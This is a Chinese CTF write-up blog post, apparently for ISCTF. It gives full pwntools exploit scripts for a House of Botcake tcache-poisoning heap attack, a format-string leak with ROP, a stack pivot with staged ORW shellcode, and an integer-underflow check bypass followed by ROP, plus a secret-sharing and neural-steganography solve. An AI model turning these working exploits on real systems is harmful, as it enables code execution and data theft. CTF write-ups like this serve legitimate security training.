Glibc 2.29 引入了对 Tcache Double Free 的检查(检查 chunk 的 key 字段是否等于 tcache 结构体地址)。如果直接对同一个 chunk 进行两次 free,会触发 abort。

为了绕过这个检查并实现任意地址写,我们使用 House of Botcake 技术。核心思想是利用 Unsorted Bin 的合并机制 来构造 Tcache Chunk 和 Unsorted Bin Chunk 的 重叠

攻击步骤

  1. 堆布局准备:
    • 分配 7 个 0x100 大小的块作为 Fillers(用于之后填满 Tcache)。
    • 分配 1 个 0x100 大小的块 Prev
    • 分配 1 个 0x100 大小的块 Victim(这是我们要重叠的块)。
    • 分配 1 个 0x100 大小的块 Guard(防止与 Top Chunk 合并,并预置 /bin/sh)。
  2. 泄露 Libc:
    • 释放 7 个 Fillers,填满 0x110 大小的 Tcache 链表。
    • 释放 Victim。由于 Tcache 已满,Victim 进入 Unsorted Bin
    • 利用 UAF,调用 show(Victim)。此时 Victim 的 fd 指针指向 main_arena 附近。读取该指针计算出 Libc 基址。
  3. 构造重叠 (House of Botcake):
    • 释放 Prev。由于 Victim 已经在 Unsorted Bin 中(且物理相邻),Prev 会与 Victim 合并,形成一个大小为 0x220 的大 Unsorted Bin Chunk。
    • 此时,虽然 Victim 在逻辑上是合并大块的一部分,但我们在 nodes 数组中仍然持有指向 Victim 的悬垂指针。
    • 申请一个块(从 Tcache 取出),消耗掉 Tcache 的一个空位,使 Tcache 计数变为 6。
    • 再次释放 Victim
      • 关键点:此时 Victim 位于 Unsorted Bin 的大块内部,其 key 字段(在 2.29 中用于检测 Double Free)被 Unsorted Bin 的元数据覆盖或处于非 Tcache 状态。
      • 由于 Tcache 有空位(6/7),Victim 被成功放入 Tcache 链表。
    • 现状:Victim 现在 既在 Tcache 链表中(等待被分配),又是 Unsorted Bin 大块的一部分(可以被覆写)。
  4. Tcache Poisoning:
    • 申请一个比 Victim 更大的块(例如 0x120),系统会从 Unsorted Bin 的大块(0x220)中切割。
    • 这次申请的内容会覆盖到 Victim 的头部和 fd 指针。
    • 我们将 Victim 的 fd 修改为 __free_hook 的地址。
  5. Get Shell:
    • 申请 0x100 大小,取回 Victim 块。
    • 再次申请 0x100 大小,系统会返回我们伪造的地址 __free_hook
    • __free_hook 写入 system 函数地址。
    • 释放 Guard 块(内容为 /bin/sh),触发 system("/bin/sh")

Exp

from pwn import *

context.arch = 'amd64'
context.log_level = 'info'
context.terminal = ['tmux', 'splitw', '-h']

binary_path = './pwn'
libc_path = './libc-2.29.so'

try:
   elf = ELF(binary_path)
   libc = ELF(libc_path)
except:
   pass

def start_process():
   if args.REMOTE:
       return remote('challenge.bluesharkinfo.com', 23858)
   else:
       return process(binary_path)

def add(p, size, content):
   p.sendlineafter(b"Your choice: ", b"1")
   p.sendlineafter(b"Size: ", str(size).encode())
   p.sendafter(b"Content: ", content)

def delete(p, index):
   p.sendlineafter(b"Your choice: ", b"2")
   p.sendlineafter(b"Index: ", str(index).encode())

def show(p, index):
   p.sendlineafter(b"Your choice: ", b"3")
   p.sendlineafter(b"Index: ", str(index).encode())

def exploit():
   p = start_process()

   # 分配 7 个填充块 + Prev + Victim + Guard
   # 索引 0-6: Fillers
   for i in range(7):
       add(p, 0x100, b"Filler")
   
   add(p, 0x100, b"Prev")        
   add(p, 0x100, b"Victim")      
   add(p, 0x100, b"/bin/sh\x00")


   # 释放 Fillers 填满 Tcache
   for i in range(7):
       delete(p, i)
   
   # Victim 进 Unsorted Bin
   delete(p, 8)
   
   # 利用 UAF 读取 fd 指针
   show(p, 8)
   p.recvuntil(b"Content: ")
   leak = u64(p.recvline()[:-1].ljust(8, b"\x00"))
   log.info(f"Leaked Unsorted Bin Address: {hex(leak)}")

   libc_base = leak - 96 - 0x10 - libc.symbols['__malloc_hook']
   libc.address = libc_base
   log.success(f"Libc Base: {hex(libc_base)}")
   
   free_hook = libc.symbols['__free_hook']
   system = libc.symbols['system']


   # 释放 Prev (7)。因为 Victim (8) 在 Unsorted Bin,它们合并成 0x220 的大块。
   delete(p, 7)
   

   add(p, 0x100, b"Tcache consumer") # Index 10
   

   delete(p, 8)
   

   # 从 Unsorted Bin (合并的大块) 切割申请。
   # 覆盖范围:Prev 的数据区(0x100) + Victim 的 Header(0x10) + Victim 的 fd
   payload = b'A' * 0x100
   payload += p64(0) + p64(0x111) # 恢复 Victim 的 Size 字段
   payload += p64(free_hook)      # 修改 Tcache 的 fd 指针
   
   add(p, 0x120, payload)
   

   add(p, 0x100, b"Victim retrieval") # Index 12 (取出 Victim)
   add(p, 0x100, p64(system))         # Index 13 (取出 __free_hook)
   

   # free(Guard) -> system("/bin/sh")
   delete(p, 9)
   
   p.interactive()

if __name__ == '__main__':
   exploit()

Heap?

程序是一个简单的堆管理器,包含三个主要功能:

  • add: 分配指定大小的堆块并写入内容
  • delete: 释放指定索引的堆块
  • show: 显示指定索引的堆块内容

(1) 格式化字符串漏洞 (show函数)

printf(*((const char **)&list + v1[0]));  // 直接使用用户控制的字符串作为格式化字符串

(2) 栈溢出漏洞 (read_num函数)

unsigned int buf; // [rsp+10h] [rbp-20h]
char v2[16]; // [rsp+18h] [rbp-18h]
read(0, &buf, 8uLL);  // 读取8字节到buf
read(0, v2, buf);     // 根据buf的值读取数据到v2,如果buf > 16,会导致栈溢出

使用格式化字符串漏洞泄露:

  • Canary: 绕过栈保护
  • libc地址: 计算libc基址
  • 程序基址: 计算gadget地址

格式化字符串解析:

  • 通过%p泄露多个地址
  • 从泄露数据中识别canary(通常以00结尾)
  • 找到__libc_start_main+243的地址计算libc基址

libc基址 = 泄露的libc地址 – 0x29d90

获取gadget地址:

  • pop rdi; ret: libc基址 + 0x2a3e5
  • ret: libc基址 + 0x29139

获取关键函数地址:

  • system: libc.sym[‘system’]
  • /bin/sh字符串地址: next(libc.search(b'/bin/sh\x00'))

理解栈布局:

rbp-0x18: v2缓冲区开始(16字节)
rbp-0x8: canary
rbp: saved rbp
rbp+0x8: 返回地址
  1. 构造payload:
    • 由于v2的前4字节被第一个read的后4字节覆盖,所以实际可控数据从v2+4开始
    • v2+4到canary的偏移:0x10 - 4 = 12字节
  2. payload结构:4字节: 任意(会被覆盖)
    12字节: 填充
    8字节: canary
    8字节: saved rbp (0)
    8字节: pop rdi; ret
    8字节: /bin/sh地址
    8字节: ret (栈对齐)
    8字节: system地址
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

BINARY = './pwn'
LIBC = './libc.so.6'
LD = './ld-linux-x86-64.so.2'

elf = ELF(BINARY, checksec=False)
libc = ELF(LIBC, checksec=False)

def start():
   return remote('challenge.bluesharkinfo.com', 23616)

def add(size, content):
   p.sendlineafter(b'> ', b'1')
   p.sendlineafter(b'> ', str(size).encode())
   p.sendafter(b'> ', content)
   p.recvuntil(b'OK!\n')

def show(idx):
   p.sendlineafter(b'> ', b'3')
   p.sendlineafter(b'> ', str(idx).encode())
   return p.recvline()

def leak_addresses():
   fmt_payload = b'%p.' * 50
   add(len(fmt_payload), fmt_payload)
   
   p.sendlineafter(b'> ', b'3')
   p.sendlineafter(b'> ', b'0')
   
   leak_data = p.recvuntil(b'\n').strip()
   leaks = leak_data.split(b'.')
   
   leak_vals = []
   for leak in leaks:
       if leak == b'(nil)':
           leak_vals.append(0)
       elif leak.startswith(b'0x'):
           leak_vals.append(int(leak, 16))
       else:
           leak_vals.append(0)
   
   canary = leak_vals[6]
   libc_leak = leak_vals[12]
   
   log.success(f"Canary: {hex(canary)}")
   log.success(f"Libc leak: {hex(libc_leak)}")
   
   libc.address = libc_leak - 0x29d90  # __libc_start_main+243
   log.success(f"Libc base: {hex(libc.address)}")
   
   return canary

def exploit():
   global p
   p = start()
   
   canary = leak_addresses()
   
   pop_rdi = libc.address + 0x2a3e5  # pop rdi; ret
   ret = libc.address + 0x29139      # ret
   system_addr = libc.symbols['system']
   bin_sh_addr = next(libc.search(b'/bin/sh\x00'))
   
   log.info(f"pop_rdi: {hex(pop_rdi)}")
   log.info(f"ret: {hex(ret)}")
   log.info(f"system: {hex(system_addr)}")
   log.info(f"/bin/sh: {hex(bin_sh_addr)}")
   

   payload = b'0000'          
   payload += b'A' * 12      
   payload += p64(canary)    
   payload += p64(0)        
   payload += p64(pop_rdi)    
   payload += p64(bin_sh_addr)
   payload += p64(ret)        
   payload += p64(system_addr)
   

   payload = payload.ljust(0x100, b'B')
   

   p.sendlineafter(b'> ', b'2')
   p.sendafter(b'> ', p32(len(payload)) + b'0\x00\x00\x00')
   p.send(payload)
   
   p.interactive()

if __name__ == '__main__':
   exploit()

ez_stack

拿到题目附件 baby_stack,首先进行常规检查:

  1. Checksec:
    • Arch: amd64-64-little
    • RELRO: Full RELRO
    • Stack: Canary found
    • NX: NX enabled
    • PIE: PIE enabled
    • Seccomp: Enabled (Ban execve)
  2. 逆向分析:
    • 程序主逻辑在 main 函数中,依次调用了几个功能函数。
    • init_data_and_syscall: 初始化沙箱,禁用 execve,只能使用 ORW (Open-Read-Write) 读取 flag。
    • check_ret_addr_error: 存在明显的栈溢出漏洞
      • 定义了一个 264 字节的缓冲区 v4
      • 调用 read_line_from_fd 读取最多 4096 字节到 v4
      • 关键检查: 函数会在 read 之后检查栈上 Return Address 的最低字节 (LSB) 是否被篡改。如果 LSB 不等于原始值(即 check_ret_addr_error 返回地址的 LSB),则输出错误并退出。
      • Canary: 虽然 checksec 显示有 Canary,且函数开头设置了 Canary,但反汇编显示该函数并没有在退出前检查 Canary(或者是我们覆盖 Saved RBP 导致提前崩溃),因此可以直接溢出覆盖。

1. 绕过保护

  • Canary: 由于 check_ret_addr_error 缺少有效的 Canary 检查(或者我们可以通过覆盖 RBP 劫持控制流而不触发检查),我们可以将其视为填充数据直接覆盖。
  • Return Address Check: 这是一个很难缠的检查。如果我们直接覆盖返回地址进行 ROP,LSB 肯定会改变(因为 Payload 通常包含 NULL 字节或地址随机化),导致检查失败程序退出。
    • 解决方案: 我们必须构造一个 Return Address,其 LSB 与原始返回地址完全一致
    • 原始返回地址是 maincall check_ret_addr_error (0x1896) 的下一条指令,即 0x189b。LSB 为 0x9b
    • 我们利用 Stack Pivot 技术,将栈劫持到我们可控的内存区域,从而绕过后续的限制。

2. 栈迁移

  • 利用点: main 函数和 check_ret_addr_error 函数都使用 leave; ret 指令作为结尾。
    • leave 等价于 mov rsp, rbp; pop rbp
  • Payload 构造:
    • 我们覆盖栈上的 Saved RBP 为我们想要迁移到的地址(FAKE_RBP)。
    • 我们覆盖 Return Addressmain 函数中 check_ret_addr_error 返回后的地址 0x189b
    • 这样,check_ret_addr_error 返回时:
      1. 检查通过(LSB 0x9b == 0x9b)。
      2. 执行 leave,将 Saved RBP(也就是 FAKE_RBP)弹入 rbp 寄存器。
      3. 执行 ret,跳转到 0x189b
    • 回到 main (0x189b):
      1. 继续执行,遇到 0x189eleave 指令。
      2. leave 执行 mov rsp, rbp。此时 rbp 已经是我们的 FAKE_RBP
      3. 栈迁移成功! rsp 被劫持到了 FAKE_RBP
      4. leave 继续执行 pop rbprsp 指向 FAKE_RBP + 8
      5. ret 执行 pop rip,从 FAKE_RBP + 8 处取出地址并跳转。

3. Shellcode 布局

由于 PIE 和 ASLR,我们很难在堆栈上找到固定的 shellcode 地址。但是题目提供了一个特殊的固定地址内存区域:0x114514000read_line_from_fd 允许我们在 main 开始时向这个地址写入 16 字节。

  • Stage 1 Payload (位于 0x114514000):
    • 前 8 字节:Stage 1 Shellcode
    • 后 8 字节:指针,指向 0x114514000
    • FAKE_RBP 设置为 0x114514000
    • main 执行 ret 时,它从 FAKE_RBP + 8(即 0x114514008)读取地址。该处存放着指针 0x114514000
    • 于是程序跳转到 0x114514000,开始执行 Stage 1 Shellcode。
  • Stage 1 Shellcode 功能:
    • 由于空间只有 8 字节,我们需要极其精简的汇编代码。
    • 利用 push rsp; pop rsi 获取当前栈指针(此时指向 0x114514010)。
    • 调用 read(0, rsi, 255) 读取后续的 Stage 2 Shellcode 到 0x114514010
    • 直接跳转到 rsi 执行 Stage 2。
  • Stage 2 Shellcode:
    • 标准的 ORW (Open /flag, Read, Write) Shellcode。

4. PIE Leak

为了构造正确的 Return Address (base + 0x189b),我们需要 PIE 基址。

  • 程序在 print_gift_prompt_with_addrs 中泄露了 main 函数的地址。
  • 我们读取该泄漏地址,减去偏移 0x184f 得到 PIE Base。
from pwn import *
import time

context.arch = 'amd64'
context.log_level = 'info'
binary_path = './baby_stack'

def get_process():
   # return process(binary_path)
   return remote('challenge.bluesharkinfo.com', 28923)

def exploit():
   #   push rsp; pop rsi -> rsi = 0x114514010
   #   mov dl, 0xff       -> Count = 255
   #   syscall           -> read(0, 0x114514010, 255) (rax=0, rdi=0 assumed)
   #   jmp rsi           -> Jump to 0x114514010
   #
   # Bytes: 54 5e b2 ff 0f 05 ff e6
   shellcode_s1 = b"\x54\x5e\xb2\xff\x0f\x05\xff\xe6"
   payload_1 = shellcode_s1 + p64(0x114514000)
   
   p = get_process()
   

   p.send(payload_1)
   
   p.recvuntil(b"DO YOU LIKE GIFT?\n")
   try:
       leak_data = p.recv(6)
       main_leak = u64(leak_data.ljust(8, b'\x00'))
       print(f"[+] Leaked main addr: {hex(main_leak)}")
       
       base_addr = main_leak - 0x184f
       print(f"[+] PIE Base: {hex(base_addr)}")

       target_ret = base_addr + 0x189b
       print(f"[+] Target Ret Addr: {hex(target_ret)}")
       
       p.clean(timeout=0.1)
   except Exception as e:
       print(f"[-] Leak failed: {e}")
       p.close()
       return

   
   pivot_payload = b'A' * 264 + b'B' * 8 + p64(0x114514000) + p64(target_ret) + b'\n'
   p.send(pivot_payload)
   
   print("[*] Payload sent. Waiting for Stack Pivot...")

   print("[*] Sending Stage 2 (ORW)...")
   
   orw = shellcraft.open('/flag', 0)
   orw += shellcraft.read('rax', 'rsp', 100)
   orw += shellcraft.write(1, 'rsp', 100)

   p.send(b'\x90'*16 + asm(orw))
   
   p.interactive()

if __name__ == '__main__':
   exploit()

Molly

程序逻辑

程序是一个简单的 2048 游戏。

  • Main 函数:
    • 输入名字,存储在全局变量 buf (0x404a40) 中。
    • 构造欢迎字符串 “Hello, [name], …”。
    • 进入游戏循环 playgame()
    • 游戏结束后调用 final()
  • Playgame 函数:
    • 正常的 2048 逻辑。
    • 输入 ‘q’ 可以退出当前局,但是 score 会减 10。
  • Final 函数:
    • 检查分数:if ( (unsigned int)score <= 100000 ),如果分数不达标则失败。
    • 如果分数达标,进入 shell() 函数。
  • Shell 函数:
    • 一个模拟的 shell,支持 lsexit
    • 存在 栈溢出漏洞read(0, buf, 0x128uLL),而 buf 大小只有 144 字节 (0x90),且 Canary 保护开启。

score 是一个有符号整数(初始 50)。每次 ‘q’ 退出减 10。 如果在 final() 中检查时被强制转换为 unsigned int

if ( (unsigned int)score <= 0x1869F )

我们可以通过多次 ‘q’ 将分数减至负数(例如 -10)。 -10 的补码表示为无符号整数是一个非常大的数字(0xFFFFFFF6 = 4294967286),远大于 100000。 从而绕过分数检查,进入 shell()

进入 shell() 后:

  1. Leak Canary & RBP:
    • buf 位于 rbp-0x90,Canary 位于 rbp-0x8。距离为 136 字节。
    • Canary 的第一个字节通常是 \x00
    • 发送 137 字节(填充 136 字节 + 1 字节覆盖 Canary 的 \x00),利用程序的输出功能泄露 Canary 和随后的 RBP。
  2. 构造 ROP:
    • 目标是执行 system("/bin/sh")system("cat flag")
    • 程序开启了 NX,不能直接执行 shellcode。
    • 利用 pop rdi; ret gadget 调用 system
    • 参数构造技巧:
      • 程序开头输入的 name 存储在固定地址的全局变量 0x404a40 中。
      • 我们在输入名字时构造 ;cat flag(或者 ;sh)。
      • 全局变量内容变为 Hello,;cat flag,...
      • 调用 system(0x404a40) 时,shell 会先尝试执行 Hello(命令未找到),然后执行 ; 后的 cat flag
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

pop_rdi = 0x40133e
ret_gadget = 0x40133f
system_plt = 0x401170
buf_addr_global = 0x404a40

def exploit():
   try:
       # r = process('./ez2048')
       r = remote('challenge.bluesharkinfo.com', 23585)
       r.recvuntil(b"input your name\n>")
       r.sendline(b";cat flag")

       r.recvuntil(b"Press \"Enter\" to start the game")
       r.send(b"\n")

       for i in range(5):
           r.send(b'q\nc\n')
           r.recvuntil(b"start a new round\n>")

       r.send(b'q\nQ\n')
       
       r.recvuntil(b"here is your shell")

       r.recvuntil(b"$ ")
       
       payload_leak = b'A' * 137
       r.send(payload_leak)
       
       r.recvuntil(b"executing command: ")
       leak_data = r.recvuntil(b"command not found", drop=True)
       r.recvuntil(b"$ ")

       if leak_data.endswith(b'\n'):
           leak_data = leak_data[:-1]
           
       if len(leak_data) < 137 + 7:
           log.error("Leak failed")
           return
           
       canary_fragment = leak_data[137:137+7]
       canary = b'\x00' + canary_fragment
       log.success(f"Canary: {canary.hex()}")
       
       rbp_fragment = leak_data[137+7:]
       if len(rbp_fragment) > 8:
           rbp_fragment = rbp_fragment[:8]
       saved_rbp = u64(rbp_fragment.ljust(8, b'\x00'))
       log.success(f"Saved RBP: {hex(saved_rbp)}")

       payload = b'A' * 136
       payload += canary
       payload += p64(saved_rbp)

       payload += p64(pop_rdi)
       payload += p64(buf_addr_global)
       payload += p64(ret_gadget)    
       payload += p64(system_plt)
       
       r.sendline(payload)
       
       r.interactive()
       
   except Exception as e:
       log.error(f"Error: {e}")

if __name__ == "__main__":
   exploit()

Image_is_all_you_need

解题过程分为两步:首先利用密码学知识恢复出完整的隐写图片 secret.png,然后利用 AI 模型从中提取出 Flag。

第一步:恢复 Secret 图片

逻辑分析

通过阅读 share_secret.py,我们发现它实现了一个基于模 257 域的 Lagrange 插值秘密共享方案。

  • 加密过程
    • 像素值 $P$ 与多项式 $f(x)$ 结合:$S_i = (P + f(i)) \pmod{257}$。
    • 对于计算结果为 256 的特殊情况(因为图片是 uint8,最大 255),脚本将其存为 0,并将位置索引记录在 PNG 的 tEXt 块中。
  • 解密思路
    • 读取 6 张图片的像素数据。
    • 读取每张图片 tEXt 块中的额外信息,将对应位置的像素还原为 256。
    • 对每个像素位置,利用 6 个点的 $(x, y)$ 坐标($x$ 为 1~6,$y$ 为像素值),使用 Lagrange 插值公式计算 $x=0$ 处的值,即为原始像素值。
    • 模运算需要在 mod 257 下进行。

恢复脚本

import png
import numpy as np
from PIL import Image
import os

def read_text_chunk(src_png):
   reader = png.Reader(filename=src_png)
   chunks = reader.chunks()
   chunk_list = list(chunks)
   for chunk_type, chunk_data in chunk_list:
       if chunk_type == b'tEXt':
           try:
               data = chunk_data
               if b'\x00' in data:
                   keyword, text = data.split(b'\x00', 1)
                   decoded = text.decode('utf-8', errors='ignore')
               else:
                   decoded = data.decode('utf-8', errors='ignore')
               if decoded.startswith('[') and decoded.endswith(']'):
                   return eval(decoded)
           except:
               continue
   return []

def modInverse(n, mod):
   return pow(int(n), mod - 2, mod)

def solve():
   n = 6
   mod = 257
   
   # 读取第一张图获取尺寸
   img1 = Image.open("secret_1.png")
   data1 = np.asarray(img1)
   shape = data1.shape
   num_pixels = data1.size
   
   pixel_data = np.zeros((n, num_pixels), dtype=int)
   extras = []
   
   print("Loading shares...")
   for i in range(n):
       fname = f"secret_{i+1}.png"
       extras.append(set(read_text_chunk(fname)))
       img = Image.open(fname)
       pixel_data[i] = np.asarray(img).flatten()
       
   print("Reconstructing...")
   Y = pixel_data.copy().astype(int)
   
   # 恢复 256 的值
   for i in range(n):
       if extras[i]:
           indices = [idx for idx in list(extras[i]) if idx < num_pixels]
           Y[i, indices] = 256
           
   # Lagrange 插值 x=0
   xs = list(range(1, n + 1))
   coeffs = []
   for i in range(n):
       numerator = 1
       denominator = 1
       for j in range(n):
           if i == j: continue
           numerator = (numerator * (0 - xs[j])) % mod
           denominator = (denominator * (xs[i] - xs[j])) % mod
       li0 = (numerator * modInverse(denominator, mod)) % mod
       coeffs.append(li0)
   
   recovered = np.zeros(num_pixels, dtype=int)
   for i in range(n):
       term = (Y[i] * coeffs[i]) % mod
       recovered = (recovered + term) % mod
       
   recovered = recovered.astype(np.uint8).reshape(shape)
   Image.fromarray(recovered).save("recovered_secret.png")
   print("Saved recovered_secret.png")

if __name__ == "__main__":
   solve()

运行后得到 recovered_secret.png

第二步:AI 模型提取 Flag

模型分析

Steg 文件夹中的代码展示了一个基于 Invertible Neural Network (INN) 的架构。

  • 结构:模型由多个 INV_block 组成,这是一种类似 RealNVP 的耦合层结构,具有天然的可逆性。
  • 前向过程 (Encode):输入 CoverPayload,输出 Stego (y1) 和 Residual (y2)。代码中只保存了 y1 (secret.png),丢弃了 y2
  • 逆向过程 (Decode):为了提取信息,我们需要将 y1 输入网络的逆变换中。
  • 缺失的 y2:由于 y2 丢失,但在训练良好的隐写网络中,y2 通常服从高斯分布或接近零。我们可以尝试用全 0 或随机噪声代替 y2 进行逆变换。

逆向脚本实现

原始代码没有提供 inverse 方法,我们需要利用 INN 的数学性质手动实现逆变换。

INV_block 的前向计算为:

$$
y_1 = x_1 + \phi(x_2) \\ s_1, t_1 = \rho(y_1), \eta(y_1) \\ y_2 = e(s_1) \cdot x_2 + t_1
$$

推导逆变换:

$$
x_2 = (y_2 - t_1) \cdot e(-s_1) \\ x_1 = y_1 - \phi(x_2)
$$

数据提取与纠错

还原出的 Payload 图片看起来是噪声,但实际上包含了编码后的比特流。

  • 查看 utils.py,发现 make_payload 将消息比特流重复填充到整个图片中。
  • 我们需要找到重复周期,对多个周期的信号取平均以消除噪声(因为我们猜测的 y2 不完全准确,会引入噪声)。
  • 最后使用 Reed-Solomon (reedsolo) 解码并 Zlib 解压。

提取脚本

import sys
import os
import torch
import numpy as np
from PIL import Image
import torchvision.transforms as T
import zlib
from reedsolo import RSCodec

# 假设 Steg 文件夹在当前目录
sys.path.append("Steg")
from model import Model
from block import INV_block
from net import simple_net
from utils import DWT, IWT, bits_to_bytearray, bytearray_to_text

# 1. Monkey Patch: 实现逆变换
def inv_block_inverse(self, x):
split_size = self.channels * 4
y1 = x.narrow(1, 0, split_size)
y2 = x.narrow(1, split_size, split_size)

s1, t1 = self.r(y1), self.y(y1)
# x2 = (y2 - t1) / e(s1)
x2 = (y2 - t1) / self.e(s1)
t2 = self.f(x2)
x1 = y1 - t2
return torch.cat((x1, x2), 1)

INV_block.inverse = inv_block_inverse

def net_inverse(self, x):
out = x
# 逆序执行 block
for i in range(8, 0, -1):
out = getattr(self, f'inv{i}').inverse(out)
return out

simple_net.inverse = net_inverse
Model.inverse = lambda self, x: self.model.inverse(x)

def solve_steg():
# 适配 CPU
device = torch.device("cpu")
if not torch.cuda.is_available():
torch.Tensor.cuda = lambda self, *args, **kwargs: self
torch.nn.Module.cuda = lambda self, *args, **kwargs: self

# 加载模型
model = Model(cuda=False)
state = torch.load(os.path.join("Steg", "misuha.taki"), map_location=device)
# 修正 key
new_state = {k: v for k, v in state['net'].items() if 'tmp_var' not in k}
model.load_state_dict(new_state)
model.eval()

dwt = DWT().to(device)
iwt = IWT().to(device)

# 加载恢复的图片
img = Image.open("recovered_secret.png").convert('RGB')
img_tensor = T.ToTensor()(img).unsqueeze(0).to(device)

# DWT 变换
y1 = dwt(img_tensor)

# 猜测 y2 为全 0
z = torch.zeros_like(y1).to(device)
inp = torch.cat((y1, z), dim=1)

# 逆向推理
with torch.no_grad():
out = model.inverse(inp)

# 提取 Payload 部分 (后半部分通道)
x2_rec = out.narrow(1, 12, 12)
payload_img = iwt(x2_rec)

# 转为比特流
bits_float = payload_img.flatten().cpu().numpy()
bits_raw = (bits_float > 0.5).astype(int)

# 寻找周期并平均
# 经过分析尝试,周期约为 1376
L = 1376
num_periods = len(bits_float) // L
bits_reshaped = bits_float[:num_periods * L].reshape((num_periods, L))
bits_avg = bits_reshaped.mean(axis=0)
bits_clean = (bits_avg > 0.5).astype(int)

# 解码
rs = RSCodec(128) # 对应 utils.py 中的设置
b = bits_to_bytearray(bits_clean)
try:
decoded = rs.decode(b)[0]
text = zlib.decompress(decoded)
print(f"Flag: {text}")
except Exception as e:
print(f"Error: {e}")

if __name__ == "__main__":
solve_steg()

运行上述脚本,成功解出 Flag。

Flag: b'flag{Sh4r3_S3reCTTt_wiTh_Ai_H@@@@}'

换flag头为ISCTF即可

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇